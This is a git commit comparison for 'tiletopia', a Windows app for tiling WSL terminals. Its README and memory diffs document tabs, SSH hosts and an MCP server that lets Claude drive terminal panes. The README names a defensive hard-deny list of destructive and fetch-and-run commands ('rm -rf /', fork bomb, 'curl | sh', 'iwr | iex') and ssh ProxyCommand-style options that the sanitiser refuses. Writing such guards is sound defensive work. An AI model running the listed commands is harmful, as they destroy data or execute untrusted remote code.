Compare commits
98 commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 738fa2e901 | |||
| a72b2c3ff4 | |||
| 8c6aded5d8 | |||
| ca97fb3733 | |||
| 7e624a3f96 | |||
| 1febf2e096 | |||
| 9144ba64b6 | |||
| 8b5f65a14a | |||
| cd5500671a | |||
| 00a1e24ecf | |||
| 15c2842ce1 | |||
| a1d7919537 | |||
| bbe827af22 | |||
| 50766c3fdd | |||
| c01a4decbf | |||
| 0358128b24 | |||
| 02d97d1520 | |||
| d776f962da | |||
| 24ab7f067f | |||
| 20b60661cb | |||
| 5f8e9f92c5 | |||
| d951c360ae | |||
| b23f3d1ecb | |||
| ebbf8db407 | |||
| e3c3810ba0 | |||
| e30ac461af | |||
| 1df8c3181b | |||
| a6d3f8a9f9 | |||
| 1bbc6a5783 | |||
| baa00dfc5c | |||
| 8bb080345e | |||
| b5db68da8b | |||
| 07bba99eb5 | |||
| df159056a1 | |||
| 5ef35e3a74 | |||
| 2a1f1d41ad | |||
| 309b6024d4 | |||
| e6d0040021 | |||
| bea6cf2977 | |||
| 681d15fdc3 | |||
| 597f9ac9b7 | |||
| 6faf7e5e19 | |||
| 8ad51787fc | |||
| 1a035ad0a6 | |||
| c92847413b | |||
| 1db8b26109 | |||
| 99b97c0c9b | |||
| 7e285b27df | |||
| e1ceaabbff | |||
| 420438b494 | |||
| 3d4e0fabe5 | |||
| 139730259a | |||
| 35194cd60c | |||
| 50fbd0e531 | |||
| 9931a92c5f | |||
| 6772b8db37 | |||
| d3474d33b0 | |||
| b29233a012 | |||
| 25aac634ab | |||
| f51033a142 | |||
| 5b970f8b48 | |||
| f3ab54252e | |||
| 4bf55782da | |||
| f6431891bc | |||
| e872044310 | |||
| 9ebb3e4d2e | |||
| 71f330e934 | |||
| 6da7523993 | |||
| bf2810a433 | |||
| 3acad63fb7 | |||
| e0ce223985 | |||
| 09019a0ad7 | |||
| 26ffe8859a | |||
| 464c576b79 | |||
| b14b450577 | |||
| 799f507c3c | |||
| 352aa8c281 | |||
| fa18307fd9 | |||
| e46446444e | |||
| d667e18c0c | |||
| 112d7dd5b5 | |||
| 83d8932c98 | |||
| 6068522ee3 | |||
| b35a5b282d | |||
| 3cdd485627 | |||
| 5085326cb1 | |||
| 8e4a358aa8 | |||
| d757117f95 | |||
| 4816f449d4 | |||
| 8c7886866c | |||
| 150e5f09cb | |||
| dbd6c163c3 | |||
| b462f9f3bf | |||
| 1c243b3f3f | |||
| 872fb0e80e | |||
| 4e5bc7e081 | |||
| a24f7de7df | |||
| 234a0b74a1 |
55 changed files with 14649 additions and 388 deletions
2
.gitignore
vendored
2
.gitignore
vendored
|
|
@ -1,6 +1,7 @@
|
|||
# Node / build
|
||||
node_modules/
|
||||
dist/
|
||||
dist-mcpb/
|
||||
.svelte-kit/
|
||||
.pnpm-store/
|
||||
*.tsbuildinfo
|
||||
|
|
@ -28,3 +29,4 @@ src-tauri/gen/
|
|||
/shot*.png
|
||||
/tiletopia-window.png
|
||||
/tilescript.ps1
|
||||
/cargo-test.lo*
|
||||
|
|
|
|||
|
|
@ -11,7 +11,7 @@ A Windows desktop app for running and arranging many WSL terminals at once. Buil
|
|||
|
||||
## Project-specific notes
|
||||
|
||||
- **Stack:** Tauri 2 + Svelte 5 + TypeScript + Vite + pnpm + xterm.js + `portable-pty`. Mirrors `~/claude/projects/claude-usage-widget/` for toolchain choices.
|
||||
- **Stack:** Tauri 2 + React 18 + TypeScript + Vite + pnpm + xterm.js + `portable-pty`. Mirrors `~/claude/projects/claude-usage-widget/` for toolchain choices. (Originally Svelte 5; migrated to React in commit `774b863` — released as 0.2.0.)
|
||||
- **Build target:** Windows `.exe` only. Rust toolchain lives on the Windows host, not WSL.
|
||||
- **Source location:** `D:\dev\tiletopia\` (Windows-native NTFS). Symlinked into WSL at `~/claude/projects/tiletopia` for editing convenience, but **all pnpm and cargo commands must run on the Windows host** against the `D:\` path — never the `\\wsl.localhost\...` UNC path (pnpm 11.x crashes inside `isDriveExFat`, and the underlying error gets swallowed).
|
||||
- **Run:**
|
||||
|
|
@ -21,6 +21,6 @@ A Windows desktop app for running and arranging many WSL terminals at once. Buil
|
|||
pnpm tauri dev # iterate
|
||||
pnpm tauri build # NSIS installer at src-tauri\target\release\bundle\nsis\
|
||||
```
|
||||
- **Validate in WSL:** `pnpm check` (svelte-check) runs in WSL and validates the Svelte/TS side without needing the Rust toolchain.
|
||||
- **Validate in WSL:** `pnpm check` (`tsc --noEmit`) runs in WSL and validates the React/TS side without needing the Rust toolchain.
|
||||
- **Plan reference:** `~/.claude/plans/imperative-coalescing-feigenbaum.md` — the approved plan that drove the scaffold and the full M0–M5 milestone roadmap.
|
||||
- **Archived idea history:** the brainstorm phase + full session log lives at `~/claude/archive/ideas/wsl-mux/plan.md`.
|
||||
|
|
|
|||
192
README.md
192
README.md
|
|
@ -2,11 +2,15 @@
|
|||
|
||||
A Windows desktop app for running and arranging many WSL terminals at once. Built primarily for managing multiple `claude` sessions across projects in parallel; works for any multi-shell workflow.
|
||||
|
||||
- Tiling layout — recursive splits, draggable dividers, preset layouts (single / 2-col / 3-col / 2-row / 2×2)
|
||||
- Per-pane distro + cwd + label, persisted across restarts
|
||||
- Tiling layout — recursive splits, draggable dividers, drag-to-swap pane headers, preset layouts (single / 2-col / 3-col / 2-row / 2×2)
|
||||
- Tabs — each tab is an independent tile layout (one per project); PTYs in inactive tabs keep running
|
||||
- Multi-window — pop a pane into its own window (right-click its toolbar, or drag it past the window edge); the PTY survives the move and scrollback replays
|
||||
- Three shell kinds per pane: WSL distros, PowerShell, saved SSH hosts (with optional Windows Credential Manager–stored passwords for auto-typing at the prompt)
|
||||
- Per-pane distro + cwd + label + font-size + broadcast state, persisted across restarts
|
||||
- Broadcast input to a group of panes (per-pane 📡 chip, or global toggle in the titlebar)
|
||||
- Idle-detection toasts when a pane goes quiet
|
||||
- Idle indicator (red border + titlebar "N idle" badge) when a pane goes quiet
|
||||
- Ctrl+K palette to fuzzy-jump between panes
|
||||
- **MCP server** so a Claude session — Claude Desktop, Claude Code, or one running inside a tiletopia pane itself — can read scrollback, send keystrokes, spawn / close / swap panes, change layout, and manage SSH hosts. Tiered policy with confirm modals + a compiled-in hard-deny list (`rm -rf /`, fork bomb, `iwr | iex`, etc.) you can't disable.
|
||||
|
||||
## Install
|
||||
|
||||
|
|
@ -21,24 +25,95 @@ A Windows desktop app for running and arranging many WSL terminals at once. Buil
|
|||
|
||||
## Using it
|
||||
|
||||
### Keyboard shortcuts
|
||||
### Shortcuts and tips
|
||||
|
||||
<!-- SHORTCUTS:START -->
|
||||
|
||||
#### Keyboard shortcuts
|
||||
|
||||
**Layout**
|
||||
|
||||
| Key | Action |
|
||||
|---|---|
|
||||
| `Ctrl+K` | open the jump-to-pane palette (fuzzy match over label / distro / cwd; `↑`/`↓` to move, `Enter` to focus, `Esc` to close) |
|
||||
| `Ctrl+Shift+E` | split active pane to the right |
|
||||
| `Ctrl+Shift+O` | split active pane downward |
|
||||
| `Ctrl+Shift+W` | close active pane |
|
||||
| `Ctrl+Shift+B` | toggle broadcast on active pane |
|
||||
| `Ctrl+Shift+Alt+B` | toggle broadcast on ALL panes (same as the titlebar 📡 button) |
|
||||
| `Ctrl+Shift+←` / `→` / `↑` / `↓` | focus neighbour pane in that direction |
|
||||
| `Ctrl+=` / `Ctrl+-` / `Ctrl+0` | zoom the active pane in / out / back to default |
|
||||
| `Ctrl+Shift+=` / `Ctrl+Shift+-` / `Ctrl+Shift+0` | same, applied to **every** pane (shift = "to all") |
|
||||
| `Ctrl+Shift+E` | Split active pane to the right |
|
||||
| `Ctrl+Shift+O` | Split active pane downward |
|
||||
| `Ctrl+Shift+W` | Close active pane |
|
||||
| `Ctrl+Shift+P` | Promote active pane out one level (turns a nested pane into a full row/column; self-inverse) |
|
||||
|
||||
**Tabs**
|
||||
|
||||
| Key | Action |
|
||||
|---|---|
|
||||
| `Ctrl+T` | New tab (blank workspace, one pane) |
|
||||
| `Ctrl+Shift+T` | Close current tab (confirms when the tab has live panes) |
|
||||
| `Ctrl+PageDown / Ctrl+PageUp` | Switch to next / previous tab |
|
||||
| `Ctrl+1 … Ctrl+9` | Switch to tab 1 … 9 |
|
||||
|
||||
**Multi-window**
|
||||
|
||||
| Key | Action |
|
||||
|---|---|
|
||||
| `Right-click pane toolbar → Move to new window` | Pop the active pane into a fresh tiletopia window (PTY survives the move; scrollback ring replays) |
|
||||
| `Drag pane toolbar past the window edge` | Same as the right-click action — release the drag well outside the window to detach into a new window |
|
||||
|
||||
**Navigation**
|
||||
|
||||
| Key | Action |
|
||||
|---|---|
|
||||
| `Ctrl+K` | Open jump-to-pane palette |
|
||||
| `Ctrl+Shift+← / → / ↑ / ↓` | Focus neighbour pane in that direction (window-level — works even when no terminal is focused) |
|
||||
| `Ctrl+Alt+← / → / ↑ / ↓` | Focus neighbour pane in that direction (from inside the terminal — intercepted before the PTY sees it) |
|
||||
| `Ctrl+Alt+H / J / K / L` | Same as Ctrl+Alt+Arrow but in Vim-style HJKL order (left / down / up / right) |
|
||||
| `Alt+1 … Alt+9` | Focus the Nth pane in layout order (DFS: left-to-right, top-to-bottom); clamped to pane count. Note: swallows bare Alt+digit — shells using readline digit-argument or vim buffer-jump may conflict. |
|
||||
|
||||
**Broadcast**
|
||||
|
||||
| Key | Action |
|
||||
|---|---|
|
||||
| `Ctrl+Shift+B` | Toggle broadcast on active pane |
|
||||
| `Ctrl+Shift+Alt+B` | Toggle broadcast on ALL panes (same as titlebar 📡) |
|
||||
|
||||
**Font size**
|
||||
|
||||
| Key | Action |
|
||||
|---|---|
|
||||
| `Ctrl+= / Ctrl+- / Ctrl+0` | Zoom active pane in / out / reset |
|
||||
| `Ctrl+Shift+= / Ctrl+Shift+- / Ctrl+Shift+0` | Same, applied to every pane |
|
||||
|
||||
**Terminal**
|
||||
|
||||
| Key | Action |
|
||||
|---|---|
|
||||
| `Ctrl+Shift+C / Ctrl+Shift+V` | Copy selection / paste in terminal |
|
||||
| `Ctrl+Shift+F` | Open find-in-scrollback bar for the focused pane |
|
||||
| `Enter / Shift+Enter` | Next / previous match (while search bar is focused) |
|
||||
| `Escape` | Close find bar and return focus to terminal |
|
||||
|
||||
**Help**
|
||||
|
||||
| Key | Action |
|
||||
|---|---|
|
||||
| `F1` | Show this help overlay |
|
||||
|
||||
#### Tips
|
||||
|
||||
- **Per-pane shell picker** — Click the distro chip in any pane's toolbar to switch between WSL distros, PowerShell, or a saved SSH host. The pane respawns with the new shell.
|
||||
- **SSH host manager** — Titlebar 🔑 SSH hosts opens the manager. Add hostname / user / port / identity file / jump host / extra ssh args. Saved hosts appear in every pane's dropdown.
|
||||
- **Saved passwords** — Optionally save a host's password — stored in Windows Credential Manager (DPAPI-encrypted), never written to hosts.json. When ssh prompts on connect it's typed automatically. Hosts with a saved password show 🔒 in the list.
|
||||
- **Clickable links** — http and https URLs in terminal output get underlined and open in your default browser on click.
|
||||
- **Drag pane headers to swap or detach** — Grab a pane's title bar and drag onto another pane to swap their tree positions. Drag well outside the window edge (more than ~60px past) and release to detach the pane into a new window — same mechanism as the right-click 'Move to new window' action, PTY stays alive.
|
||||
- **Workspace persistence** — Layout, labels, distro choices, and SSH hosts auto-save to %APPDATA%/com.megaproxy.tiletopia (debounced 500ms). Closed panes don't come back — only the structure is restored, shells spawn fresh on next launch.
|
||||
- **Tabs (workspaces)** — Each tab is an independent tile layout — useful for keeping one tab per project. PTYs in non-active tabs keep running (a Claude session in tab A keeps going while you work in tab B). New tab starts with one default-shell pane; close confirms when the tab has live panes. Tabs auto-save to the same workspace.json.
|
||||
- **MCP server (let Claude drive the workspace)** — Titlebar 🤖 opens the MCP control panel. Start the server, then for Claude Desktop click 'Download .mcpb' and drag the file into Settings → Extensions — zero-config because the bundle reads your bearer token from %APPDATA% at launch (no copy-paste, survives token rotation). For Claude Code (terminal CLI) use the fallback snippet in the panel: it wires npx mcp-remote as a stdio shim because Claude Code's HTTP-MCP client ignores static bearer auth and tries OAuth instead. URL + token persist across restarts; Regenerate the token in the panel if it leaks. Default-deny per pane: toggle 🤖 on each pane's toolbar to expose it to MCP.
|
||||
|
||||
<!-- SHORTCUTS:END -->
|
||||
|
||||
Shortcuts work while a terminal is focused — we capture the key before xterm.js sees it. They don't fire while you're typing into a label edit or the palette input, so those still work normally. `Ctrl` and `⌘` (Cmd) are interchangeable.
|
||||
|
||||
Font size persists per pane in `workspace.json`, so a zoomed pane stays zoomed across restarts.
|
||||
|
||||
> The shortcut tables and tips above are generated from `src/lib/shortcuts.ts` (the single source of truth shared with the in-app help overlay). To change them, edit that file and run `pnpm gen:readme`.
|
||||
|
||||
### Mouse + toolbar
|
||||
|
||||
- **Split panes** — `⇥` in the pane toolbar splits right, `⇣` splits down. The new pane inherits the parent's distro; the cwd defaults to `~` in the WSL distro.
|
||||
|
|
@ -57,6 +132,79 @@ Font size persists per pane in `workspace.json`, so a zoomed pane stays zoomed a
|
|||
|
||||
Layout + per-pane settings auto-save to `%APPDATA%\com.megaproxy.tiletopia\workspace.json` (debounced 500 ms).
|
||||
|
||||
### MCP server (Claude can drive the workspace)
|
||||
|
||||
The titlebar 🤖 button opens a small panel that starts an MCP (Model Context Protocol) server. A Claude session — Claude Desktop, Claude Code, or one running inside a tiletopia pane itself — connects to it, reads scrollback, waits for commands to settle, and (with your permission) drives the workspace: sends keystrokes, spawns / closes / swaps / reshapes panes, manages SSH hosts.
|
||||
|
||||
- **Off by default.** Click the button, hit **Server: ON** to start. The panel shows the URL + bearer token and a ready-to-paste config snippet. Both port and token persist across restarts (saved to `%APPDATA%\com.megaproxy.tiletopia\mcp.json`); use **Regenerate** if the token leaks.
|
||||
- **Default-deny per pane.** Toggle the 🤖 chip in any pane's toolbar to allow MCP to see it. Panes without the chip on are invisible to the server.
|
||||
- **Three-tier policy** (allow / ask / deny) with a confirm modal on every Ask, configurable in the panel's **Policy** tab. The default is "ask on everything"; add bare tool names like `set_label` to **allow** to skip the prompts, or globs like `write_pane(rm *)` to **deny** outright.
|
||||
- **Compiled-in hard-deny list** of 14 patterns the user can NOT disable: `rm -rf /`, fork bomb, `dd of=/dev/sd...`, `curl | sh`, `Remove-Item -Recurse -Force C:\`, `iwr | iex`, etc. Checked against every `write_pane` text before policy. Best-effort accident prevention, not a sandbox — alias and quoting tricks bypass it.
|
||||
- **SSH safeguards.** Three switches in the Policy tab, all off by default: `allow_open_ssh` (gates `connect_host` / `spawn_pane(ssh)`), `auto_allow_spawned_ssh` (gates whether spawned-by-Claude SSH panes start MCP-allowed), `allow_add_host` (gates `add_host` / `delete_host` saved-list edits). `add_host`'s `extraArgs` are also sanitised — `ProxyCommand` / `LocalCommand` / `KnownHostsCommand` / `PermitLocalCommand=yes` (CVE-2023-51385 class) are refused.
|
||||
- **Audit log** in the panel's **Audit** tab — last 200 tool calls with arg summary, outcome, duration. Ephemeral (cleared on restart).
|
||||
- **Saved SSH passwords are never exposed** through the MCP surface.
|
||||
- **Bound to all interfaces** (`0.0.0.0`). The bearer token is the only auth — don't enable the server on an untrusted network.
|
||||
|
||||
**Tools currently exposed:**
|
||||
|
||||
| Tool | What it does |
|
||||
|---|---|
|
||||
| `read_pane(leaf_id, last_lines?, after_seq?)` | Read a pane's scrollback. Returns text + `__seq__=N` marker for incremental polling. |
|
||||
| `wait_for_idle(leaf_id, idle_ms?, timeout_ms?)` | Block until a pane is quiet — useful for command-completion sync. |
|
||||
| `write_pane(leaf_id, text)` | Send keystrokes. Rate-limited (30 calls / 10s per pane). Hard-deny + user policy apply. |
|
||||
| `set_label`, `close_pane`, `swap_panes`, `promote_pane`, `apply_preset` | Tree-shape and metadata operations. |
|
||||
| `spawn_pane`, `connect_host` | Open new local / SSH panes. SSH gated by `allow_open_ssh` safeguard. |
|
||||
| `add_host`, `delete_host` | Manage the saved SSH hosts list. Gated by `allow_add_host`; `extraArgs` sanitised. |
|
||||
|
||||
#### Claude Desktop setup (one-click via `.mcpb` bundle — recommended)
|
||||
|
||||
The MCP panel has a **Download .mcpb** button that fetches a packaged Claude Desktop extension (an `.mcpb` file). Drag it into Claude Desktop's *Settings → Extensions* pane and Claude will auto-discover tiletopia — no config editing, no copy-pasting tokens.
|
||||
|
||||
The bundle ships a tiny wrapper that reads your per-install bearer token straight from `%APPDATA%\com.megaproxy.tiletopia\mcp.json` at launch, so:
|
||||
|
||||
- It carries **no secrets** — the same file works for every tiletopia install.
|
||||
- **Token regeneration** in the panel keeps working transparently; the next time Claude Desktop launches the extension, it'll pick up the new token.
|
||||
- Requires `npx` (Node 18+) on PATH because the wrapper still talks to tiletopia through `mcp-remote` (same reason as the manual recipe below).
|
||||
|
||||
You can also rebuild the bundle from source:
|
||||
|
||||
```sh
|
||||
pnpm run build:mcpb # writes dist-mcpb/tiletopia.mcpb
|
||||
```
|
||||
|
||||
#### Claude Code setup (via `mcp-remote` stdio shim — fallback / manual recipe)
|
||||
|
||||
Claude Code (the terminal CLI) doesn't accept `.mcpb` bundles yet, and its HTTP-MCP client currently tries OAuth discovery and ignores static `headers` auth (Anthropic [#17152](https://github.com/anthropics/claude-code/issues/17152), [#46879](https://github.com/anthropics/claude-code/issues/46879)). The [`mcp-remote`](https://www.npmjs.com/package/mcp-remote) stdio shim transparently proxies the HTTP endpoint with the bearer header attached, sidestepping the OAuth flow.
|
||||
|
||||
The panel's config snippet uses this shim by default — paste it into your project's `.mcp.json`:
|
||||
|
||||
```json
|
||||
{
|
||||
"mcpServers": {
|
||||
"tiletopia": {
|
||||
"command": "npx",
|
||||
"args": [
|
||||
"-y", "mcp-remote",
|
||||
"http://127.0.0.1:47821/mcp",
|
||||
"--allow-http",
|
||||
"--header", "Authorization: Bearer <token-from-panel>"
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Requires `npx` (Node 18+) on the client side. Other MCP clients that handle static bearer auth correctly can skip the shim and connect directly to the URL + token shown in the panel.
|
||||
|
||||
#### WSL connectivity
|
||||
|
||||
When Claude runs inside WSL, swap `127.0.0.1` for the WSL gateway IP (`ip route show default | awk '{print $3}'` inside WSL — note that this changes after each WSL restart) **or** enable mirrored networking (`networkingMode=mirrored` in `%UserProfile%\.wslconfig` then `wsl --shutdown`; Win 11 22H2+). Allow the port through Windows Defender Firewall once — elevated PowerShell:
|
||||
|
||||
```powershell
|
||||
New-NetFirewallRule -DisplayName "tiletopia MCP" -Direction Inbound `
|
||||
-Action Allow -Protocol TCP -LocalPort 47821 -Profile Any
|
||||
```
|
||||
|
||||
## Stack
|
||||
|
||||
- **Tauri 2** (Rust backend, WebView2 frontend) — small bundle, native NSIS installer.
|
||||
|
|
@ -81,19 +229,27 @@ pnpm tauri build # NSIS installer at src-tauri\target\release\bundle\nsis
|
|||
### Run the tests
|
||||
|
||||
```sh
|
||||
pnpm test # vitest, 43 cases on the layout tree
|
||||
pnpm test # vitest — currently 72 cases (layout tree)
|
||||
pnpm test:watch
|
||||
pnpm check # tsc --noEmit (strict TypeScript pass)
|
||||
pnpm build # tsc -b && vite build — full production frontend bundle
|
||||
```
|
||||
|
||||
The test suite covers the pure helpers in `src/lib/layout/tree.ts`. UI behavior, broadcast routing, and Tauri integration are manually tested.
|
||||
```powershell
|
||||
cd src-tauri
|
||||
cargo test --lib # 138+ Rust unit tests (mostly hard-deny pattern fuzzing + extraArgs sanitiser)
|
||||
```
|
||||
|
||||
The test suites cover pure helpers (`src/lib/layout/tree.ts`) on the frontend and the hard-deny regex set + SSH `extraArgs` sanitiser + MCP policy evaluator on the backend. UI behaviour, broadcast routing, MCP end-to-end, and Tauri IPC are manually verified — see `scripts/pr4-verify.mjs` for a Node-driven MCP smoke test you can run against the dev app.
|
||||
|
||||
## Architecture
|
||||
|
||||
- **Backend** (`src-tauri/src/pty.rs`): `PtyManager` holding `Mutex<HashMap<PaneId, PaneHandle>>` of `portable-pty` children. Each spawned pane gets a background reader thread that emits `pane://{id}/data` events (base64 byte chunks). Counterparts: `write_to_pane` / `resize_pane` / `kill_pane`. Workspace persistence via `save_workspace` / `load_workspace` writes to `app.path().app_config_dir()` with atomic tmp + rename.
|
||||
- **Layout** (`src/lib/layout/tree.ts`): binary tree of splits. `HSplit | VSplit` internal nodes with a ratio, `Leaf` at the bottom — same model as i3 / tmux / Zellij. Adaptive resize falls out of mutating one parent ratio. Pure helpers (`splitLeaf`, `closeLeaf`, `changeDistro`, `setAllBroadcast`, etc.) live in `tree.ts` with 43 vitest cases; the rendering chain (`Pane.tsx` → `SplitNode.tsx` / `LeafPane.tsx`) is thin.
|
||||
- **Orchestration** — broadcast routing, idle detection, palette, active-pane focus all live in `App.tsx`. Shared state and operations reach descendants through a React Context (`src/lib/layout/orchestration.tsx`), so each LeafPane reads `activeLeafId`, `distros`, and the tree-mutation methods directly via `useOrchestration()` — no prop drilling through the recursive Pane chain.
|
||||
- **PTY backend** (`src-tauri/src/pty.rs`): `PtyManager` holding `Mutex<HashMap<PaneId, PaneHandle>>` of `portable-pty` children. Spawns `wsl.exe` / `powershell.exe` / `ssh.exe` depending on the leaf's `shellKind`. Each spawn gets a background reader thread that emits `pane://{id}/data` events (base64 byte chunks) AND mirrors bytes into a per-pane 256 KB scrollback ring that the MCP server reads from. Counterparts: `write_to_pane` / `resize_pane` / `kill_pane`. Workspace + hosts + MCP config persisted via `save_*` / `load_*` to `app.path().app_config_dir()` with atomic tmp+rename.
|
||||
- **SSH hosts** (`src-tauri/src/hosts.rs`, `src-tauri/src/creds.rs`): `SshHost` shape with optional user / port / identity / jump host / extra ssh args. Passwords stored in Windows Credential Manager via `keyring-core` 1.0 + `windows-native-keyring-store` — never on disk, never in IPC events, never in the MCP surface. Reader thread autotypes the password at the first `password:` / `passphrase` prompt within 30 s of spawn, then disarms.
|
||||
- **MCP server** (`src-tauri/src/mcp.rs`): embedded `rmcp` Streamable HTTP server on 127.0.0.1 with bearer-token auth, default port 47821 (overridable; falls back to OS-picked if taken). 12 tools — 2 read (`read_pane`, `wait_for_idle`) + 10 write (`set_label`, `close_pane`, `swap_panes`, `promote_pane`, `apply_preset`, `spawn_pane`, `connect_host`, `write_pane`, `add_host`, `delete_host`). Write tools dispatch through the event/reply pattern in [src-tauri/src/mcp.rs](src-tauri/src/mcp.rs) — frontend owns tree authority, backend emits a request event, frontend resolves via `mcp_action_reply`. Per-leaf `mcpAllow` gate (default-deny) filters what the server can see.
|
||||
- **MCP policy** (`src-tauri/src/mcp_policy.rs`): three-tier `allow / ask / deny` precedence (deny-first), glob matcher (`*` only, no regex), shell-operator-aware subcommand splitting on `&& || ; | |& & \n`. **Hard-deny pass** runs against both the whole input and each subcommand to catch patterns that span operators (fork bomb, `curl | sh`). Hard-deny list is 14 patterns compiled in, non-overridable. Plus `SshSafeguards` switches for SSH-spawn / SSH-auto-allow / saved-host edits.
|
||||
- **Layout** (`src/lib/layout/tree.ts`): binary tree of splits. `HSplit | VSplit` internal nodes with a ratio, `Leaf` at the bottom — same model as i3 / tmux / Zellij. Adaptive resize falls out of mutating one parent ratio. Pure helpers (`splitLeaf`, `closeLeaf`, `setLeafShell`, `swapLeaves`, `promoteLeaf`, etc.) live in `tree.ts` with 72 vitest cases; the rendering chain (`Pane.tsx` → `SplitNode.tsx` / `LeafPane.tsx`) is thin.
|
||||
- **Orchestration** — broadcast routing, idle detection, palette, active-pane focus, MCP request dispatcher all live in `App.tsx`. Shared state and operations reach descendants through a React Context (`src/lib/layout/orchestration.tsx`), so each LeafPane reads `activeLeafId`, `distros`, and the tree-mutation methods directly via `useOrchestration()` — no prop drilling through the recursive Pane chain.
|
||||
|
||||
## License
|
||||
|
||||
|
|
|
|||
658
memory.md
658
memory.md
|
|
@ -4,7 +4,7 @@ Durable memory for this project. Read at session start, update before session en
|
|||
|
||||
## Decisions & rationale
|
||||
|
||||
- **Stack: Tauri 2 + Svelte 5 + TypeScript + Vite + pnpm + xterm.js + `portable-pty`.** Mirrors `claude-usage-widget` so we reuse a known-good Windows-targeting toolchain (MSVC + WebView2 + NSIS installer). No new technology bets stacked on top of the new product bet.
|
||||
- **Stack: Tauri 2 + React 18 + TypeScript + Vite + pnpm + xterm.js + `portable-pty`.** Originally Svelte 5; migrated to React in commit `774b863` (released as 0.2.0). Mirrors `claude-usage-widget`'s Windows-targeting toolchain (MSVC + WebView2 + NSIS installer). No new technology bets stacked on top of the new product bet. **CLAUDE.md still says Svelte 5 — should be updated when convenient.**
|
||||
- **Layout model: binary tree of splits, NOT free-form rectangles.** Same as i3 / tmux / Zellij. Each internal node is HSplit/VSplit + ratio; each leaf is a terminal. Dragging a gutter mutates one parent ratio; both sibling subtrees reflow; descendants get `resize`. Adaptive resize falls out automatically with no constraint solver. Preset layouts ("3 columns", "2×2") are pre-built trees.
|
||||
- **PTY backend: `portable-pty` (same crate WezTerm uses).** Spawns `wsl.exe -d <distro> --cd <path>` on Windows. Manager is a `Mutex<HashMap<PaneId, PaneHandle>>` in Rust; each pane has a background reader thread that emits `pane://{id}/data` events.
|
||||
- **Wire format: base64-encoded byte chunks via Tauri events.** xterm.js's `onData` emits strings; we UTF-8 encode then base64. Slower than a typed-array payload but trivially correct. Revisit if throughput matters.
|
||||
|
|
@ -34,14 +34,668 @@ Durable memory for this project. Read at session start, update before session en
|
|||
- [ ] **Configurable idle threshold.** Hardcoded 5000ms in `LeafPane.svelte`. Should move into a settings panel; M5 territory.
|
||||
- [x] ~~**Logic tests for `tree.ts`.**~~ Vitest, 43 cases, runs via `pnpm test`. Done 2026-05-22.
|
||||
- [ ] **Component-level tests** (vitest + jsdom + @testing-library/svelte) — would have caught the M4 active-border reactivity bug. Useful when the Svelte component surface stops being trivial; defer until/unless something else goes sideways.
|
||||
- [ ] **Multi-workspace tabs.** Several independent layouts the user can switch between. Saved as `workspaces.json` with `{ current: id, list: [{ id, name, tree }] }`. Not on the M0–M5 critical path; either bolt on after M5 ship or fold into a "tabs" minor milestone.
|
||||
- [x] ~~**Multi-workspace tabs.**~~ Done 2026-05-28. Implementation lives under "Tabs + multi-window pane transfer" session log. Envelope shape ended up as `{ version: 2, workspaces: [{ id, name, tree }] }` (no separate `current` field — per-window in React state only).
|
||||
- [x] ~~**M5 — Ship infrastructure.**~~ Custom icon, version bumped to 0.1.0, `scripts/release.sh` for one-shot tag+upload, README install section. Done 2026-05-22. **Next step (user action):** run `pnpm tauri build` on Windows then `scripts/release.sh v0.1.0` from WSL to cut the actual release.
|
||||
- [ ] **Native Windows shells (cmd / pwsh)?** `portable-pty` supports them for free; keep the option open. Decide whether to expose in UI at M3.
|
||||
- [ ] **Persistent scrollback across app restarts.** Would need an out-of-process mux daemon. Big scope creep; explicitly deferred past v1.
|
||||
- [ ] **Code markup / syntax highlighting in-app (VSCode-style).** User idea 2026-05-28 — "would be kind of neat." Two readings, different feasibility: (a) **highlight code in terminal output** — not really doable in xterm.js; it renders raw bytes/ANSI and has no concept of "this region is Python." Would need to detect code blocks and re-emit ANSI color, which is fragile and fights TUIs like claude that already color their own output. (b) **a dedicated editor/viewer pane type** alongside terminal panes — embed Monaco or CodeMirror as a new LeafNode kind, open a file from the pane's cwd, get real VSCode-grade highlighting + read/scroll (maybe edit). This is the tractable version: the layout tree already supports heterogeneous leaves, so it's "add a non-xterm pane kind" rather than reworking the renderer. Scope: pick editor lib (CodeMirror 6 is lighter than Monaco for an embed), file-open IPC over WSL paths, decide read-only vs editable. Defer — nice-to-have, not core to the multi-terminal purpose.
|
||||
- [ ] **Keybinding philosophy.** Copy tmux, copy WezTerm, or invent? Decide at M3.
|
||||
- [ ] **Help (?) overlay.** Small `?` icon in the titlebar, opens a modal listing all keyboard shortcuts (split / close / promote / broadcast / palette / font size / nav) and quick tips on shell-picker dropdown + SSH host manager + saved-password autotype. Same modal style as `Palette` / `HostManager`. Source of truth lives in one place — refactor the README shortcuts table to be generated from it (or vice versa) so they can't drift.
|
||||
- [ ] **MCP server: Claude controls tiletopia.** Expose a Model Context Protocol server (stdio transport, runs inside the Tauri app or a sidecar) so a Claude session — running anywhere, including inside one of tiletopia's own panes — can drive the workspace. Capabilities to expose as MCP tools / resources:
|
||||
- **Inspect**: `list_panes()` (id, label, shellKind, distro/host, cwd, active flag), `read_pane(id, last_lines?)` (scrollback tail), `read_layout()` (the tree JSON).
|
||||
- **Drive sessions**: `write_pane(id, text)` (send keys/commands; same path as broadcast), `wait_for_idle(id, timeout)` for command-completion synchronization.
|
||||
- **Reshape**: `spawn_pane(spec, parent_id?, orientation?)` (WSL distro / PowerShell / saved SSH host), `close_pane(id)`, `apply_preset(name)`, `promote_pane(id)`, `set_label(id, label)`, `swap_panes(id, id)`.
|
||||
- **SSH hosts**: `list_hosts()`, `add_host(...)`, `connect_host(host_id) → pane_id` (spawn + return). Read-only access to `hasPassword` flag; **never expose saved passwords** through the MCP surface.
|
||||
- **Notifications**: `notify(message)` for status updates Claude wants to surface.
|
||||
- Authentication: bind to localhost only; consider a per-session token written to the app config dir that the MCP client must present. Treat the MCP socket as trusted only to processes the user explicitly points at it — anyone with access to the user's account could read commands and stream PTY output. Surface this caveat in the help overlay.
|
||||
- Tauri integration: Rust-side MCP server using a published crate (or hand-rolled JSON-RPC); reuses the existing `PtyManager` + `hosts.json` + workspace state. Frontend gets read-only events when the MCP causes a layout change so the UI reflects it without races. Big — milestone-scale work; needs a design doc before code.
|
||||
- **Status:** v1 (read-only, 2026-05-25) + v2 (write surface, 2026-05-26 across PRs 1–4) shipped. All 11 originally-planned write tools are live: set_label, close_pane, swap_panes, promote_pane, apply_preset, spawn_pane, connect_host, write_pane, add_host, delete_host. Open polish items live in the per-session-log "follow-ups" sections.
|
||||
|
||||
